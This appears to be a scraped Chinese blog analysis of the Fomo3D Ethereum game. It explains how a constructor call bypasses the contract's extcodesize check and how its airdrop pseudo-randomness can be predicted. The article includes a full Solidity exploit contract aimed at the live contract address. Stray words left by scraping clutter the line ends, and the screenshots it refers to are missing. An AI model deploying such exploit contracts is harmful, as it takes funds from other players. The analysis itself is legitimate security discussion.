七月初推出的一款資金盤遊戲fomo3d,終於在十幾天後成功引爆了中國的鏈圈和幣圈。安全
在每一局遊戲的開始,玩家均可以用以太幣ETH來購買遊戲道具key
,至關於往資金盤裏的投資。遊戲的倒計時爲24小時,每當有新人買入key時,遊戲就會自動延長30s,但網頁上的倒計時仍爲24小時。dom
截止發文,Time Purchased
已經增加到了30+年,你們能夠自行計算有多少人買入了key。ide
最終這個資金盤的資金將會有7個流向:函數
最後一個買key的人將會拿走資金盤中的48%的以太幣,做爲獎勵。看看首頁的數字,就能夠想見遊戲的瘋狂程度。測試
截至發稿,沒有重大安全漏洞披露,即管理者後門或者攻擊者直接能夠轉移合約內ETH的漏洞,可暫時視爲安全。不過仍是有一個小漏洞值得你們關注,即modifier對普通帳戶(外部帳戶)和合約帳戶的判斷。其初衷是好的,保證散戶玩家的公平性,可是因爲判斷邏輯的誤差直接致使了該方法失效。網站
下圖是從etherscan網站上合約地址中的代碼截圖:ui
此修改器用於限制調用方法者只能是普通帳戶(沒法執行復雜的代碼,也沒法重入)。其中,經過判斷地址內的extcodesize
是否爲0來判斷該地址是否爲普通帳戶。可是當合約正在執行構造函數並部署時,其extcodesize
也爲0,也就是說合約徹底能夠經過在constructor
中調用方法而繞過該判斷。this
攻擊的方向有了,下面就剩下從哪裏下手了。spa
這時咱們注意到空投邏輯:3d
/** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); }
你們能夠看到,與其說是隨機數,不如說是基於鏈狀態的僞隨機數。此時,咱們能夠不斷地部署合約並在合約的constructor
中計算隨機數的值,一旦發現有利可圖,就能夠調用FOMO3d合約中的相應方法。
接下來,咱們瀏覽完整的代碼,找到airdrop()
在哪裏被使用,咱們就能夠發現:
上面提到的有機會,就是指上面的僞隨機數的計算符合要求。
到這裏,最後一塊拼圖也補齊了。咱們能夠創造一個智能合約,經過計算隨機數,就能夠100%得到空投。咱們給出了一個代碼範例以下圖(友情提醒:下面的代碼未經測試,是僅表示思路的「僞代碼」,並不保證功能上的成功):
pragma solidity ^0.4.24; interface FoMo3DlongInterface { function airDropTracker_() external returns (uint256); function airDropPot_() external returns (uint256); function withdraw() external; } contract PwnFoMo3D { constructor() public payable { // Link up the fomo3d contract and ensure this whole thing is worth it FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1); if (fomo3d.airDropPot_() < 0.4 ether) { revert(); } // Calculate whether this transaction would produce an airdrop. Take the // "random" number generator from the FoMo3D contract. uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp) + (block.difficulty) + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + (block.gaslimit) + ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) + (block.number) ))); uint256 tracker = fomo3d.airDropTracker_(); if((seed - ((seed / 1000) * 1000)) >= tracker) { revert(); } // Ok, seems we can win the airdrop, pwn the contract address(fomo3d).call.value(0.1 ether)(); fomo3d.withdraw(); selfdestruct(msg.sender); } }
再次提醒,上面的代碼未經測試。由於每次調用airdrop
都意味着咱們必須損失0.1個以太幣,僅當你確保你的空投獎勵大於0.1以太幣時,上述方法才值得嘗試。也就是說只有空投獎池總共須要大於0.4以太幣。已經有人嘗試空投攻擊2天了:
https://etherscan.io/txs?a=0x...
https://etherscan.io/tx/0x86c...
經過瀏覽其中一筆成功的交易咱們能夠看到,攻擊者的代碼更加複雜:他們嘗試經過部署新合約來得到超額的空投獎勵,可是當隨機數計算不經過時,選擇迭代建立合約直到有一個成功的,而不是選擇使用revert()
。
對此,團隊自己的態度很隨意, 表示一切盡在預料以內。並解釋airdrops
只是獨立的很是小的獎金池,攻擊也無傷大雅。(此條推特貌似已刪除)
自從fomo3d大火以後,該團隊一直嘗試在twitter上呼叫V神,以發現且公開EVM諸多重大漏洞爲要挾呼叫V神正面迴應:
,並插播各類戰果炫耀圖(參加人數、集資速度和量級、形成以太坊堵塞程度歷史罕見等)。從一開始的殷切呼喚,到始終沒有獲得V神正面回覆以後表演失望。
此間,以太坊的team leader - peter卻是有過迴應,表示這並非漏洞,這些現象/行爲都是文檔裏提到過的,不要想着用這種大衆敏感詞吸引注意力。想蹭V神熱度的話,請報點猛料好麼。
https://www.reddit.com/r/ethe...
最後,不知道你們對這個「龐氏遊戲」有什麼本身的見解,能夠盡情留言。